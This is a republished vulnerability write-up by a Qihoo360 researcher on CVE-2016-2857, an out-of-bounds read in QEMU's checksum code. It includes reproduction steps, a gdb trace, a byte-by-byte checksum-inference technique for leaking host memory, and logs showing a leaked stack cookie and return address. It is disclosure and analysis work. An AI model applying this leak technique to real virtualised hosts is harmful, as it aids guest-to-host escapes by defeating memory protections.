神刀安全网

CVE-2016-2857:an information disclosure vulnerability in QEMU

By Ling Liu of 360Cloud Security Team, Qihoo360 Information Security Department

Overview

Recently QEMU disclosed an information disclosure vulnerability (CVE-2016-2857) in function net_checksum_calculate(). It was found by Ling Liu of 360Cloud Security Team, Qihoo360 Information Security Department.

According to our analysis, we found that the vuln can be used to leak the base address of QEMU and stack cookie, even the stack address range by utilizing this vulnerability.

Although this vulnerability only can be triggered by some network cards that used infrequently such as ‘cadence_gem’, we still think that it is worth to make a deeper analysis.

Have fun!

The Bug

The vulnerability was found in function net_checksum_calculate(), and it is a read-out-of-bounds flaw. This function is used to calculate the checksum of an IP header.If the packet length in data[16:17] was written by a malicious length, it may cause a denial of service or information disclosed, because the function net_checksum_calculate() will bring the calculated checksum back to the packet. In the end, we can restore the sensitive memory information from the packet.

The patch could be found in https://bugzilla.redhat.com/show_bug.cgi?id=1296567

CVE-2016-2857:an information disclosure vulnerability in QEMU

Denial Of Service

The function can be called from many driver of network card or function, as follows.

gem_transmit() in Cadence_gem.c

process_tx_fcb() in Rings.c

work_around_broken_dhclient() in Virtio-net.c

net_tx_packets() in Xen_nic.c

Next,

1st Start with ‘cadence_gem’ network card and enable loopback mode;

2nd Send packet with “data[16:17] = 0xfff”;

Now you can see the variable plen exceed the packet’s real length in gdb.

—————————

Breakpoint 2, gem_transmit (s=0x7ffff8db56b0) at hw/net/cadence_gem.c:901

901 net_checksum_calculate(tx_packet, total_bytes);

(gdb) p total_bytes

$20 = 1500

(gdb) s

net_checksum_calculate (data=0x7fffe53c4980 “”, length=1500) at net/checksum.c:58

58 {

(gdb) n

62 if ((data[14] & 0xf0) != 0x40)

(gdb)

64 hlen = (data[14] & 0x0f) * 4;

(gdb)

65 plen = (data[16] << 8 | data[17]) – hlen;

(gdb) n

66 proto = data[23];

(gdb) p/x plen

$21 = 0xffeb

……

84 csum = net_checksum_tcpudp(plen, proto, data+14+12, data+14+hlen);

(gdb) s

net_checksum_tcpudp (length=65515, proto=6, addrs=0x7fffe53c499a ‘/314′ , , buf=0x7fffe53c49a2 ‘/314′ , )

at net/checksum.c:48

……

85 data[14+hlen+csum_offset] = csum >> 8;

(gdb) p/x csum

$27 = 0xbc1d

(gdb) n

86 data[14+hlen+csum_offset+1] = csum & 0xff;

At the same time you can see the checksum was wrote back to the packet in Tcpdump.

CVE-2016-2857:an information disclosure vulnerability in QEMU

Exploitation

When function net_checksum_calculate() be called by gem_transmi(), the parameter ‘data’ is the variable ‘tx_packet[2048] ’ defined in gem_transmi() function. So you can get return address or stack cookie through this vulnerability.

If we send two packet with different packet length written in data[16:17], for example N and N+1. Then, from these two checksums, we can calculate what the extra one byte actually is. In this way, we can get the memory after tx_packet[2048]. Stack cookie and address will be leaked after lots of tries.

—end—

0C 02 00 00 00 00 00 00

7C 09 95 4C 75 0F FC D3

04 00 00 00 00 00 00 00

00 05 DC F8 FF 7F 00 00

0C 02 00 00 00 00 00 00

00 00 00 00 00 00 00 00

04 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 08 DC F8 FF 7F 00 00

stack cookie=d3fc0f754c95097c

return address=dddddddddddddddd

sendlength=2048, fakelength=2121, checksum=9e40, known_bytes=2120

guessed. remote[2120] is A8

sendlength=2048, fakelength=2122, checksum=9d98, known_bytes=2121

guessed. remote[2121] is A7

sendlength=2048, fakelength=2123, checksum=cc96, known_bytes=2122

guessed. remote[2122] is D1

sendlength=2048, fakelength=2124, checksum=cb9e, known_bytes=2123

guessed. remote[2123] is F7

sendlength=2048, fakelength=2125, checksum=cc9c, known_bytes=2124

guessed. remote[2124] is FF

sendlength=2048, fakelength=2126, checksum=cc1c, known_bytes=2125

guessed. remote[2125] is 7F

sendlength=2048, fakelength=2127, checksum=cc1b, known_bytes=2126

guessed. remote[2126] is 00

sendlength=2048, fakelength=2128, checksum=cc1a, known_bytes=2127

guessed. remote[2127] is 00

—end—

0C 02 00 00 00 00 00 00

7C 09 95 4C 75 0F FC D3

04 00 00 00 00 00 00 00

00 05 DC F8 FF 7F 00 00

0C 02 00 00 00 00 00 00

00 00 00 00 00 00 00 00

04 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 08 DC F8 FF 7F 00 00

A8 A7 D1 F7 FF 7F 00 00

stack cookie=d3fc0f754c95097c

return address=7ffff7d1a7a8

sendlength=2048, fakelength=2129, checksum=cc19, known_bytes=2128

guessed. remote[2128] is 00

sendlength=2048, fakelength=2130, checksum=cbac, known_bytes=2129

guessed. remote[2129] is 6C

sendlength=2048, fakelength=2131, checksum=74ab, known_bytes=2130

sendlength=2048, fakelength=2131, checksum=74af, known_bytes=2130

checksum error, memory changed!

—end—

0C 02 00 00 00 00 00 00

7C 09 95 4C 75 0F FC D3

04 00 00 00 00 00 00 00

00 05 DC F8 FF 7F 00 00

0C 02 00 00 00 00 00 00

00 00 00 00 00 00 00 00

04 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 08 DC F8 FF 7F 00 00

A8 A7 D1 F7 FF 7F 00 00

00 6C

stack cookie=d3fc0f754c95097c

return address=7ffff7d1a7a8

Summary

Just as John Lambert said, on vulns: You can argue over exposure, difficulty, and likelihood. Security researchers write exploits because they like the truth.

Good luck!

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » CVE-2016-2857:an information disclosure vulnerability in QEMU

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址
分享按钮